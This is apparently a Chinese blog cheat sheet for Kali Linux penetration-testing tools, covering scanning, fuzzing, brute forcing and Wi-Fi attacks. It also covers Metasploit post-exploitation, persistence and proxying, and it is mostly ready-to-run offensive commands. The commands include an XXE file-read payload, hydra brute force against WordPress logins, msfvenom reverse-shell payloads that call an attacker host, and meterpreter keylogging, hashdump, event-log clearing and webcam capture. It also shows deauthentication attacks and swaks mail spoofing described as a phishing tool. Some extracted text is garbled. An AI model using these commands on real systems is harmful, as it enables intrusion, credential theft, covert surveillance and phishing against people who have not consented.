本文最后更新于:2023年5月8日 上午
kali工具用法介绍 一、信息收集 1、dirsearch 功能:目录扫描
安装:
1 git clone https ://github.com/maurosoria/dirsearch.git
用法:
1 2 3 4 5 -u 指定网址 -e 指定网址语言 -w 指定字典 -r 递归目录(跑出目录后,继续跑下面的目录) --random-agents 使用随机UA
eg:
1 python dirsearch.py -u 网址 -e php
2、dirb 功能:扫描目录
用法:
1 2 3 4 5 6 7 8 9 格式:dirb <url_base> [<wordlist_file(s)>] [options]-a 设置user-agent -p <proxy[:port]>设置代理 -c 设置cookie -z 添加毫秒延迟,避免洪水攻击 -o 输出结果 -X 在每个字典的后面添加一个后缀 -H 添加请求头 -i 不区分大小写搜索
eg:
1 2 dirb http:// 192.168 .56.118 /usr/ share/wordlists/ dirb/big.txt
1 2 dirb http ://192.168 .56 .118 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" -c "BAIDUID=D5C6351DAC89EF8811A51DF3A9A9C0C4:FG=1; HMACCOUNT=2906306413846532; BIDUPSID=D5C6351DAC89EF8811A51DF3A9A9C0C4; PSTM=1585744543; BDORZ=FFFB88E999055A3F8A630C64834BD6D0; H_PS_PSSID=30974_1438_31124_21098; HMVT=6bcd52f51e9b3dce32bec4a3997715ac|1587436663|; delPer=0; PSINO=6; BDRCVFR[gltLrB7qNCt]=mk3SLVN4HKm"
1 2 dirb http://192.168.56.118 -X .dist -z 100 -o test.txt
1 2 dirb http://192.168.1.116 -p IP:port
参考链接
3、nmap 功能:扫描神器
用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 - p 指定端口,-p22,80;指定协议,-p http,mysql- A 用于使用进攻性(Aggressive)方式扫描:端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测,当扫描到未知端口时会进行指纹识别。- sC 等价于–script=default,使用默认类别的脚本进行扫描服务- sn Ping Scan - disable port scan,只进行主机发现,不进行端口扫描- sT tcp扫描- Pn 跳过主机发现,默认主机开启,直接扫描端口,不触发防火墙,通常检查一个ip开启那些端口- PR ARP Ping- T 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,在网络通讯状况较好的情况下推荐使用T4。- sV IP 判断服务端口、服务名和版本- sP IP ping扫描探测主机存活- S <源地址> 定义扫描源地址,为了不被发现- O IP 操作系统扫描- e 指定网卡- -iflist 输出网卡信息- -host-timeout 主机超时时间 通常选值:18000- -scan-delay 报文时间间隔 通常选值:1000- oN <File>- oX <XML File>- oG <filespec>
eg:
1 2 常用: nmap -sS -A -sC -sV -p 1 -65535 --min-rate 5000 10.10 .11.111
1 nmap -sn -PR -T4 192.168.56.0 /24
参考链接
nmap常用参数使用
4、masscan 功能:快速扫描端口,只能扫描端口
用法:
1 2 3 4 5 6 7 8 9 格式:masscan <ip addresses/ranges> -p ports options
示例:
1 2 masscan -p 0 -65535 10.35.0.133 --rate=2000
5、whatweb 功能:扫描网站指纹
用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 格式:whatweb [options] <URLs>-version 查看whatweb版本 IP 简要输出-v IP 详细输出 -input-file=路径 从外部导入目标数据进行批量探测 -i 路径 从外部导入目标数据进行批量探测 -log-xml=result.xml 根据特定的格式探测的结果导出 -url-prefix 添加前缀 -url-suffix 添加后缀 -url-pattern 在中间插入内容 -proxy-user admin:password url 以指定用户名和密码进行探测 -c=cookie值 url 通过-c,指定cookie的值 -l 列出插件的列表,包括插件以及插件的描述 -info-plugins="Zoom" 具体查看插件的内容
eg:
1 2 # 查看指定地址详细网站信息 whatweb - v http:
5、arp-scan 功能: ARP扫描
6、ffuf 功能:
• 目录发现,可选择在 URL 中的任何位置进行模糊测试。
• 子域名发现
• 使用各种 HTTP 方法进行模糊测试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 格式:ffuf [options]-u url地址 -w 设置字典 -c 将响应状态码用颜色区分,windows下无法实现该效果。 -t 线程率,默认40 -p 请求延时: 0.1、0.2s -ac 自动校准fuzz结果 -H Header头,格式为 “Name: Value” -X HTTP method to use -d POST data -r 跟随重定向 -recursion num 递归扫描 -x 设置代理 http 或 socks5://127.0.0.1:8080 -s 不打印附加信息,简洁输出 -e 设置脚本语言 -e .asp,.php,.html,.txt等 -o 输出文本 -of 输出格式文件,支持html、json、md、csv、或者all
基础用法:
1 ffuf -u http:// 10.35 .0.187 /FUZZ -w /u sr/share/ wordlists/dirb/ big.txt
递归扫描:
1 ffuf -u http:// 10.35 .0.187 /FUZZ -w /u sr/share/ wordlists/dirb/ big.txt -recursion "2"
进阶用法:
1 2 -maxtime 在有限的时间内完成测试,不论是否完成都将终止,单位为s, 尽量使用**-maxtime-job与-recursion** 递归扫描一起使用,用于指定每个目录递归扫描时间,避免扫描时间过长
匹配输出:
ffuf提供了仅获取具有特定特征的状态码、行数、响应大小、字数以及匹配正则表达式的模式进行响应输出
1 2 3 4 5 -mc 指定状态代码。 -ml 指定响应行数 -mr 指定正则表达式模式 -ms 指定响应大小 -mw 指定响应字数
匹配响应状态码为200,301进行输出
1 ffuf -u http:// 10.35 .0.187 /FUZZ -w /u sr/share/ wordlists/dirb/ big.txt -mc 200
过滤输出:
不输出具有特定特征的状态码状态码、行数、响应大小、字数以及匹配正则表达式的模式的输出
1 2 3 4 5 -fc 按状态码过滤 -fl 按行数过滤 -fs 按响应大小过滤 -fw 按字数过滤 -fr 按正则表达式模式过滤
不输出响应状态码为200
1 ffuf -u http:// 10.35 .0.187 /FUZZ -w /u sr/share/ wordlists/dirb/ big.txt -fc
对多个域名进行目录发现
1 ffuf -w dict.txt:FUZZ -w /targets.txt:URL -u URLFUZZ -mc 200 -of csv -o resule.txt
这里解释一下,-w dict.txt 读取字典文件dict.txt,命名为FUZZ,targets.txt命名为URL,攻击目标为URL与FUZZ的拼接URLFUZZ,当然这要求URL末尾为/,否则只能以URL/FUZZ为目标攻击。
子域名爆破
1 ffuf -w subdomains.txt -u http://website.com/ -H "Host:FUZZ.website.com"
密码爆破&接口&参数模糊测试
1 ffuf -w wordlist.txt -X POST -d "username=admin\&password=FUZZ" -u http:
1 ffuf -request poc.txt -request-proto http -mode clusterbomb -w ./test.txt :HFUZZ -w test.txt :WFUZZ -x "http://127.0.0.1:8080"
1 2 3 4 5 6 7 8 9 -mode 爆破模块,目前有clusterbomb 、 pitchfork 两个模式具体看burpsuite的爆破模块 在clusterbomb模式下,用户名单词列表中的每个单词都将与密码单词列表中的每个单词组合使用。就像如果列表 1 中有 4 个单词而列表 2 中有 5 个单词,那么总共会有 20 个请求。 在pitchfork模式下,用户名列表中第一个单词将与密码列表中第一个单词一起使用,同样,用户名列表中第二个单词将与密码列表中第二个单词一起使用。如果两个列表中的单词数量不同,那么一旦单词数量较少的列表耗尽就会停止。 -request 标志可用于指定与原始HTTP请求文件,并且将相应使用FUZZ -request-proto 与原始请求一起使用的协议(默认值:https)
HTTP请求爆破
1 ffuf -c -X FUZZ -w /usr/ share/wordlists/ wfuzz/general/ http_methods.txt -u $url
7、Netdiscover 功能: 二层发现工具,拥有主动和被动发现两种方式。
用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 格式:netdiscover [options]-p 被动模式。默默的侦听指定的网卡以发现别的二层主机,不发送任何数据 -t ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。 -l file: 指定扫描范围列表文件 -p passive mode: 使用被动扫描的方式,不发送任何数据 -m file: 扫描已知 mac 地址和主机名的电脑列表 -F filter: 指定 pcap 筛选器表达式(默认:“arp”) -s time: 每个 arp 请求之间的睡眠时间(毫秒) -n node: 使用八字节的形式扫描(2 - 253) -c count: 发送 arp 请求的时间次数 -f: 使用主动模式的扫描 -d: 忽略配置文件 -S: 启用每个 arp 请求之间抑制的睡眠时间 -P: 打印结果 -N: 不打印头。只有启用- p时有效。 -L: 将捕获的信息输出(-P),并继续进行扫描
示例:
8、Fping 功能: 通过ICMP(网络控制信息协议InternetControl Message Protocol)协议回复请求以检测主机是否存在
用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 格式:fping [ options ] [ systems... ]-a 显示可ping通的目标 -A 将目标以ip地址的形式显示 -b <num> ping 数据包的大小。(默认为56) -B <f> 设置指数反馈因子到f -c <num> ping每个目标的次数 (默认为1) -C <num> 同-c,返回的结果为冗长格式 -e 显示返回数据包所费时间 -f <file> 从文件获取目标列表( - 表示从标准输入)(不能与 -g 同时使用) -g 通过指定开始和结束地址来生成目标列表(例如:./fping –g 192.168.1.0 192.168.1.255)或者一个IP/掩码形式(例如:./fping –g 192.168.1.0/24) -i <num> 设置ip的TTL值 (生存时间) -l 循环发送ping -m ping目标主机的多个网口 -n 将目标以主机名或域名显示(等价于 -d ) -p <num> 对同一个目标的ping包间隔(毫秒) (在循环和统计模式中,默认为1000) -q 安静模式(不显示每个目标或每个ping的结果) -Q <num> 同-q, 但是每n秒显示信息概要 -r <num> 当ping失败时,最大重试次数(默认为3次) -s 打印最后的统计数据 -t <num> 单个目标的超时时间(毫秒)(默认500) -u 显示不可到达的目标
9、wfuzz 功能: Wfuzz 是一款Python开发的Web安全测试工具,它不仅仅是一个web扫描器:wfuzz能够通过发现并利用网站弱点/漏洞的方式帮助你使网站更加安全。wfuzz的漏洞扫描功能由插件支持。
用法:
最不详细的Wfuzz使用(一)o((>ω< ))o
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 基础命令-b "cookie=" 设置cookie -c 带颜色显示 -d "username=admin" 设置post内容 -H "User-Agent:" 设置请求头 -R 1 设置递归深度 -s 设置请求间隔时间 -t 设置线程,默认为10 -X GET 设置请求方法,默认为GET请求 -z 设置payload -z file 导入paylaod文件 -z range,1-10 范围形式1-10 -z list 1-2-3-4 列表形式,1,2,3,4 显示或隐藏信息--hc 503 隐藏响应码为503的数据包 --hl 20 隐藏响应长度为20行的数据包 --hw 30 隐藏响应单词数为30的数据包 --hh 50 隐藏响应信息中字符数为50的数据包 使用 --sc --sl --sw --sh 可以特别显示相应结果
示例:
任意文件读取
1 wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -d '<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE test [<!ENTITY file SYSTEM "file:///home/david/FUZZ" > ]> <details > <email > &file; ©right;</email > <password > 123</password > </details > ' --hh 85 http://10.35.153.34/magic.php
发现用户目录下的.viminfo(vi程序的信息文件,主要用于记录vi的状态信息)文件,访问看看。
模糊测试请求方法
1 2 3 wfuzz -z list,"PUT -POST -HEAD -OPTIONS -TRACE -GET " -X FUZZ $url 或使用seclist的方法字典 wfuzz -w /usr/share/seclists/Fuzzing/http-request-methods.txt -X FUZZ $url
二、漏洞分析 三、web程序 1.sqlmap 功能:
用法:
1 2 3 4 5 6 7 sqlmap -u url sqlmap -u url sqlmap -u url sqlmap -u url -D security sqlmap -u url -D security -T users sqlmap -u url -D security -T users -C username,password sqlmap -r post.txt 读取posts
eg:
1 2 sqlmap -u http://192.168.200.134/Hackademic_RTB1/ ?cat=1 --dbs --batch
1 2 sqlmap 192.168.56.118 /Hackademic_RTB1/?cat=1 -D wordpress --tables --batch
1 2 sqlmap 192.168.56.118 /Hackademic_RTB1/?cat=1 -D wordpress -T wp_users --columns --batch
1 2 sqlmap 192.168.56.118 /Hackademic_RTB1/?cat=1 -D wordpress -T wp_users -C user_login,user_pass,user_level --dump --batch
2.wpscan 简介:
wpscan专门用来扫描wordpress搭建网站的漏洞
用法:
1 2 3 4 5 6 7 8 9 10 11 格式:wpscan [options] --api-token 令牌,需在https:--update 更新数据库--url <site> 扫描站点--url <site> --enumerate t 对站点主题进行扫描--url <site> --enumerate vt 对站点主题进行漏洞扫描--url <site> --enumerate p 对站点插件进行扫描--url <site> --enumerate vp 对站点插件进行漏洞扫描--url <site> --enumerate u 枚举wordpress的用户--url <site> --wordlist 密码字典 --username 用户名或者密码字典--url <site> --enmuerate vp,vt,tt,u
示例:
1 2 3 4 5 6 7 wpscan --url http://192.168.56.200/wordpress -e u wpscan --url http://192.168.56.200/wordpress -e vp,vt,tt -e 枚举 u 用户名 vp 只枚举有漏洞的插件 vt 只枚举存在漏洞的主题 tt 列举缩略图相关的文件
3.burp suite Intrude模块
四种模式介绍
Sniper(狙击手模式)
狙击手模式使用一组payload集合,它一次只使用一个payload标记位置,假设你标记了两个位置user和password,则狙击手会先保持password位置为原有数据,payload逐个替换user;之后保持user位置为原有数据,payload逐个替换user。总攻击次数为(payload数量xpay标记位置数量)。
payload:
攻击结果:
Battering ram(攻城锤模式)
攻城锤模式与狙击手模式类似的地方是,同样只使用一个payload集合,不同的地方在于每次攻击都是替换所有payload标记位置,而狙击手模式每次只能替换一个payload标记位置。总攻击次数为(payload数量)。
payload:
攻击结果:
Pitchfork(草叉模式)
草叉模式允许使用多组payload组合,在每个标记位置上遍历所有payload组合。总攻击次数为(payload数量)。
payload1:
payload2:
1 2 3 4 123456 000000 abc123 tian
攻击结果:
Cluster bomb(集束炸弹模式)
集束炸弹模式跟草叉模式不同的地方在于,集束炸弹模式会对payload组进行笛卡尔积。总攻击次数为(payload1数量xpayload2数量)。
payload1:
payload2:
1 2 3 4 123456 000000 abc123 tian
攻击结果:
四、提权 五、密码攻击 1、hydra 用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 格式:hydra server service -R 继续从上一次进度接着破解 -S 大写,采用SSL链接 -s <PORT> 小写,可通过这个参数指定非默认端口 -l <LOGIN> 指定破解的用户,对特定用户破解 -L <FILE> 指定用户名字典 -p <PASS> 小写,指定密码破解,少用,一般是采用密码字典 -P <FILE> 大写,指定密码字典 -e <ns> 可选选项,n:空密码试探,s:使用指定用户和密码试探 -C <FILE> 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数 -M <FILE> 指定目标列表文件一行一条 -o <FILE> 指定结果输出文件 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 -t <TASKS> 同时运行的线程数,默认为16 -w <TIME> 设置最大超时的时间,单位秒,默认是30s -v / -V 显示详细过程 server 目标ip service 指定服务名,支持的服务和协议:telnet ftp pop3 imap smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth pcanywhere teamspeak sip vmauthd firebird ncp afp等等 OPT 可选项
示例
密码破解
1 2 3 hydra -L dict .txt -P dict .txt 192.168 .56 .119 http -get /webdav
破解成功
1 2 3 4 5 hydra -L dict.txt -P dict.txt -vV -f 192.168 .56 .120 http-post-form "/wordpress/wp-login.php:user_login= ^USER ^&user_pass= ^PASS ^:login_error " -f 找到一个结果后停止 -vV显示详细过程 "/wordpress/wp-login.php:user_login= ^USER ^&user_pass= ^PASS ^:login_error "是由冒号分隔三个部分,第一个部分是登录页面所在目录,第二部分user_login= ^USER ^&user_pass= ^PASS ^,这是POST提交表单中id的名字,把用户名和密码部分换成了 ^USER ^和 ^PASS ^。USER对应前面的-L,PASS对应-P。最后一部分login_error是指定的判断密码是否正确的条件,默认是黑名单模式,也就是如果返回页面中存在"login_error"(提交错误后查看错误信息对应源码)就说明这个密码不正确。user_login、user_pass、login_error这三个内容要根据页面中源码里的id的值进行修改。
2、cewl 参考链接
介绍:
cewl是一个 ruby 应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表,这个列表可以扔到John the ripper工具里进行密码破解。cewl还有一个相关的命令行 工具 应用FAB,它使用相同的元数据提取技术从已下载的列表中创建作者/创建者列表。
用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 格式:cewl <url> [options] -h,--help 显示帮助 -k,--keep 保存下载文件 -d <x >,--depth <x > 爬行深度,默认为2 -m,--min_world_length 最小长度,默认为3 -o,--offsize 允许1 爬虫访问其他站点 -w,--write 将结果输出写入文件 -u,--ua <agent> 设置UA -n,--no-words 不输出字典--with-numbers 允许单词中存在数字 -a ,--meta 包括元数据--meta_file file 输出元数据文件 -e,--email 包括email地址--meta-temp-dir <dir> exiftool解析文件时使用的临时目录,默认是/temp。 -c, --count 显示发现的每个单词的数量。 -v, --verbose verbose。--debug 提取调试信息。 认证--auth_type Digest或者basic认证。--auth_user 用户名认证。--auth_pass 密码认证。 代理--proxy_host 代理主机。--proxy_port 代理端口,默认8080 。--proxy_username 用户名代理。--proxy_password 密码代理。
示例
默认用法
cewl认证登录
1 2 3 <> -- -- -- - <> -- -- -- -
使用代理
1 cewl --proxy_host <--proxy_port <port > <url >
3、john 功能:
John the Ripper是一个快速的密码破解程序,目前可用于Unix,Windows,DOS和OpenVMS的许多口味。其主要目的是检测弱Unix密码。除了在各种Unix系统上最常见的几种crypt(3)密码哈希类型之外,现在支持的还有Windows LM哈希,以及社区增强版本中的大量其他哈希和密码。
用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 格式:john <OPTIONS> <PASSWORD-FILES>--single [=SECTION] ]“单裂”模式--wordlist [=FILE] --stdin 单词表模式,从FILE或stdin读取单词--pipe 像--stdin 一样,但批量读取,并允许规则--loopback [=FILE] 像 --wordlistg 一样, 但是从.pot 文件中获取单词--dupe-suppression 压制wordlist中的所有模糊(并强制预加载)--prince [=FILE] PRINCE模式,从FILE中读取单词--encoding=NAME 输入编码(例如,UTF-8,ISO-8859-1)。 也可以看看doc / ENCODING和--list = hidden-options。--rules [=SECTION] 为单词表模式启用单词修改规则--incremental [=MODE] “增量”模式[使用部分模式]--mask=MASK 掩码模式使用MASK--markov [=OPTIONS] “马尔可夫”模式(参见doc / MARKOV)--external=MODE 外部模式或字过滤器--stdout [=LENGTH] 只是输出候选人密码[在LENGTH切]--restore [=NAME] 恢复被中断的会话[名为NAME]--session=NAME 给一个新的会话NAME--status [=NAME] 打印会话的状态[名称]--make-charset=FILE 制作一个字符集文件。 它将被覆盖--show [=LEFT] 显示破解的密码[如果=左,然后uncracked]--test [=TIME] 运行测试和每个TIME秒的基准--users= [-]LOGIN|UID[,.. ] [不]只加载这个(这些)用户--groups= [-]GID[,.. ] 只加载这个(这些)组的用户--shells= [-]SHELL[,.. ] 用[out]这个(这些)shell来加载用户--salts= [-]COUNT[:MAX ] 用[out] COUNT [到MAX]散列加载盐--save-memory=LEVEL 启用内存保存,级别1..3 --node=MIN [-MAX]/TOTAL 此节点的数量范围不在总计数中--fork=N 叉N过程--pot=NAME 锅文件使用--list=WHAT 列表功能,请参阅--list = help 或doc / OPTIONS--format=NAME 强制使用NAME类型的散列。 支持的格式可以用--list=formats 和--list=subformats 来看 john --wordlist=/usr/share/john/password .lst john --show <hash文件名>
示例:
暴力破解登陆密码:
查看/ect/shadow文件,发现hacksudo密码密文
创建一个文件hash.txt,放密文拷贝到hash.txt中
使用命令john hash.txt破解密码
使用命令john -show hash.txt查看破解到的密码,发现用户hacksudo的密码为aliens
4、medusa 功能:
medusa是一款开源的暴力破解工具,支持多种协议的密码破解。
用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 格式: medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPTIONS]-h 目标地址 -H 包含目标地址的文件 -u 包含测试的用户名 -U 指定测试的用户名字典 -p 指定测试密码 -P 指定测试的密码字典 -C 指定测试格式为"user:password"的测试字典 -O 将输出结果保存至指定文件 -e [n/s/ns] 额外的密码检测(n:空密码;s:用户名=密码) -M 指定执行的模块名(不带mod扩展名) -m 指定传递给模块的参数 -d 查看支持破解的模块 -n 指定非默认的端口 -s 启用ssl -g 设置连接超时时间(默认值为3) -r 设置重试次数(默认值为3) -t 设置同时测试的登陆总数 -T 设置同时测试的主机总数 -f 在破解得到第一个用户名或密码后停止扫描主机 -F 当在任何主机上破解得到第一个用户名或密码后停止扫描 -b 不显示软件启动时的版本信息 -q 显示模块的使用信息 -v 详细等级(0-6) -w 错误调试等级(0-10) -V 显示版本信息 -Z 恢复中止的扫描
示例:
已知用户民,破解ssh密码
1 medusa -u missyred -P /usr/share/wordlists/rockyou.txt -h 10.35.153.37 -M ssh -f -t 5
六、无线攻击 1.Aircrack-ng无线套装 Aircrack-ng(注意大小写,aircrack-ng是Aircrack-ng中的一个组件)是一个包含了多款工具的无线攻击审计套装,这里面很多工具在后面的内容中都会用到,具体见下表为Aircrack-ng包含的组件具体列表。
aircrack-ng原理解析
组件名
描述
airmon-ng
用于改变无线网卡工作模式,以便其他工具使用
airodump-ng
用于捕获802.11数据报文,以便aircrack-ng破解
airepaly-ng
在进行WEP及WPA-PSK密码恢复时,可以根据需要创建特殊的无线网络数据报文及流量
airserv-ng
可以将无线网卡连接至某一特定端口,为攻击时灵活调用做准备
aircrack-ng
主要用于WEP及WPA-PSK密码的恢复,只要airodump-ng收集到足够数量的数据包,aircrack-ng就可以自动检测数据包并判断是否可以破解
airolib-ng
进行WPA Rainbow Table攻击时使用,用于建立特定数据库文件
airdecap-ng
用于解开处于加密状态的数据包
tools
其他用于辅助的工具,如airdriver-ng、packetforge-ng等
airmon-ng
1 2 3 airmon-ng stop <interface> airmon-ng start <interface> -c <channel>
aircrack-ng
Attack 0: Deauthentication 解除认证
Attack 1: Fake authentication 伪造身份验证
Attack 2: Interactive packet replay 交互式数据包重播
Attack 3: ARP request replay attack ARP请求重播攻击
Attack 4: KoreK chopchop attack KoreK斩杀攻击
Attack 5: Fragmentation attack 碎片攻击
Attack 6: Cafe-latte attack 咖啡拿铁攻击
Attack 7: Client-oriented fragmentation attack 面向客户的分片攻击
Attack 8: WPA Migration Mode WPA迁移模式
Attack 9: Injection test 注射试验
示例:
查看网卡基本信息
若未显示wifi,可在正常的模式下用这个命令扫描wifi,然后再开启airmon-ng开始命令进来就有了,如果还未显示有可能是网卡不支持监听模式,另外还需要注意的是部分网卡对usb3.0存在不兼容现象,可更换2.0端口即可
Deauth攻击
1 2 3 4 5 6 7 airmon-ng start wlan0 或 ifconfig wlan0 down iwconfig wlan0 mode monitor iw dev查看状态
可以看到开启混杂模式,并且重命名为wlan0mon
1 2 # 对当前无线网络进行嗅探 airodump- ng wlan0
使用aircrack-ng进行取消认证攻击
1 2 aireplay -ng -0 <num> -a <BSSID> -c <aim_mac> <interface>aireplay -ng -0 0 -a B0:95 :8 E:28 :0 E:25 wlan0
七、逆向分析 八、漏洞利用工具集 1、msf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/tcp auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/discovery/udp_probe auxiliary/scanner/netbios/nbname auxiliary/scanner/ftp/ftp_version auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/dns/dns_amp auxiliary/scanner/http/http_version auxiliary/scanner/http/title auxiliary/scanner/smb/smb_version use auxiliary/scanner/mssql/mssql_schemadump use auxiliary/scanner/oracle/oracle_hashdump auxiliary/scanner/mysql/mysql_version auxiliary/scanner/rdp/rdp_scanner auxiliary/scanner/redis/redis_server auxiliary/scanner/db2/db2_version auxiliary/scanner/netbios/nbname
常用命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 # 监控目标系统键盘输入,停止监控为keyscan_stop meterpreter > keyscan_start keyscan_dump # 将你的Meterpreter移到另一个进程 # 先用PS命令查看进程后,得到进程ID,然后在执行Migrate (进程ID) meterpreter > migrate # 获取用户的服务器运行 meterpreter > getuid # 进入目标电脑,命令提示符 meterpreter > shell # 目标电脑闲置了多长时间 meterpreter > Idletime # 导出对方SAM数据库里的内容,推荐一个hash破解网站: # http: meterpreter > Hashdump # 利用已有漏洞,自动提权为SYSTEM meterpreter > getsystem # 清除事件日志 meterpreter > clearev # 在对方电脑上运行该指令 meterpreter > execute(某Windows指令) meterpreter > execute Usage: execute -f file [options] # 下载文件命令 meterpreter > download(文件路径) 例如下载C盘下面的jzking121.txt文件 meterpreter > download c:\\jzking121.txt [*] downloading: c:\jzking121.txt -> jzking121.txt [*] downloaded : c:\jzking121.txt -> jzking121.txt # 注意,文件路径中要有两个\\ # Upload指令跟Download指令类似! # 关闭目标计算机,reboot为重启计算机 meterpreter > shutdown # 获取目标电脑,屏幕截图 meterpreter >screenshot # 启用目标使用键盘 meterpreter > uictl enable keyboard # 禁止目标使用鼠标 meterpreter > uictl disable mouse # 目标系统的摄像头列表 meterpreter > webcam_list # 从指定的摄像头,拍摄照片 meterpreter > webcam_snap
MSF生成一句话反弹shell
1 msfvenom -p cmd/unix/reverse_awk lhost =1.1.1.1 lport =12345 R
MSF与CS联动
1 2 3 4 5 6 7 8 9 10 msf>>cs 1.先通过msf通过漏洞,进入meterpreter终端:background,建立session会话,用sessions查看session ID及相关信息。 2.CS 创建一个新的内部监听 设置lhost以及lport 3.使用模块 exploit/windows/local /payload_inject ,并设置 use exploit/windows/local /payload_inject set payload windows/meterpreter/reverse_http set lhost ip # 创建cs 监听的地址 set lport 60002 # cs 监听端口 set session 1 exploit
1 2 3 4 5 6 7 8 9 cs>>msf use exploit/multi/handlerset payload /meterpreter/set set show exploit 之后在CS设置监听器,payload设置foreign ,设置地址端口 通过会话菜单栏spawn(新建会话),选择监听,发送session
MSF生成的两种payload
Stage类型Payload
1 payload/windows/ x64/meterpreter/ reverse_tcp
Stage类型payload为分阶段传递payload,payload本身无法反弹shell,当执行payload(即图中shellcode)时,会请求服务器上的第二阶段payload(即图中metsrv),此时Payload就能够反弹Shell,当metsrv传输成功之后,shellcode就会把控制权转给metsrv,metsrv这时再去请求另外两个dll文件stdapi和priv。值得注意的是,Stage型Payload只能用msf的exploit/multi/handler模块进行连接 ,无法使用nc直接连接。
Stageless类型Payload
不分阶段的payload,在生成时已经包含反弹shell所需要metsrv组件,一般体积较大,默认的stageless payload只会包含stageless,所以如果想将stdapi和priv两个组建给包含进去的华我们可以用extensions命令:
1 msfvenom -p windows/meterpreter_reverse_tcp LHOST =192.168.56.105 LPORT =6666 EXTENSIONS =stdapi,priv -f exe -o stageless.exe
使用NC连接Payload
1 msfvenom -p linux/x64/shell_reverse_tcp LHOST =192.168.56.105 LPORT =6666 -f R
权限维持
1 2 3 4 5 6 use exploit/windows/local/persistenceset payload set lhost 172.23.88.101set lport 6668set session 115run
将cmdshell升级成meterpreter
MSF权限维持
2、searchsploit 功能:Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块。
1 2 3 4 5 格式: searchsploit [options] term1 [term2] ... [termN] -m,--mirror 复制exp至当前目录 -p ,--path 显示exp完整路径 -u,--update 更新exp
用法&技巧:
1 2 3 4 5 6 7 8 9 10 1 .查询关键字采取AND 运算 SearchSploit使用AND 运算符,而不是OR 运算符。使用的术语越多,滤除的结果越多。2 .使用名称搜索时尽量使用全称3 .使用“-t ”选项 默认情况下,searchsploit将检查该漏洞利用的标题以及该路径。根据搜索条件,这可能会导致误报(特别是在搜索与平台和版本号匹配的术语时),使用“-t ”选项去掉多余数据。例如searchsploit -t oracle windows显示7 行数据而searchsploitoracle windows |wc –l显示90 行数据。4 .在线搜索exploit-db.com中的关键字漏洞 searchsploitWarFTP 1.65 -w5 .搜索微软漏洞 搜索微软2014 年的所有漏洞,关键字可以ms14 ,ms15 ,ms16 ,ms17 searchsploit MS14
1 2 searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
根据文档中具体用法编译
开启apache2
利用wget下载exp
九、社会工程学 1、swaks swaks(一) - 伪造邮件
官网:http://www.jetmore.org/john/code/swaks/
GitHub:https://github.com/jetmore/swaks
功能:Swaks 是由John Jetmore编写和维护的功能强大、灵活、可编写脚本、面向事务的 SMTP 测试工具。同时对于一名信息安全高级工程师来说也是一个不错的利用工具!它通常被用来伪造邮件,进行钓鱼、社工等操作,
用法:
1 2 3 4 5 6 7 -t –to 目标地址 -t test@test.com -f –from 来源地址 (发件人) -f "text" –protocol 设定协议(未测试)--body "http://www.baidu.com" --header "Subject:hello" -ehlo 伪造邮件ehlo头--data ./Desktop/email.txt
附加工具 CMSmap 功能:cms漏洞扫描
项目地址:GitHub
DuckMemoryScan 功能:内存马检测工具,能查杀绝大多数内存马
项目地址:GitHub
Ds_store_exp .DS_Store文件提取工具
Github
使用方法:
1 2 pip2 install -r requirements.txt python2 ds_store_exp.py http://www.example.com /.DS_Store
Frp代理 功能:高性能反向代理服务器
msf代理在蚁剑的地方,上传大一点的文件经常会报错,所以使用frp代理稳定一点
服务器端:
在kali运行服务端frps,frps.ini配置文件为
1 2 3 [common] bind_ip = 192.168 .56.105 bind_port = 7000
前台启动:./frps -c ./frps.ini
后台启动:nohup ./frps -c ./frps.ini &
客户端:
在受害机运行客户端frc,frpc.ini配置文件为
1 2 3 4 5 6 7 8 [common] server_addr = 192.168 .56.105 server_port = 7000 [socks_proxy] type = tcpremote_port =8888 plugin = socks5
前台启动:./frpc -c ./frpc.ini
后台启动:nohup ./frpc -c ./frpc.ini &
二层代理使用
网络拓扑:
攻击机:kali(192.168.56.105)
受害者:ubuntu20(192.168.56.133)
Gobuster GitHub
常用命令选项
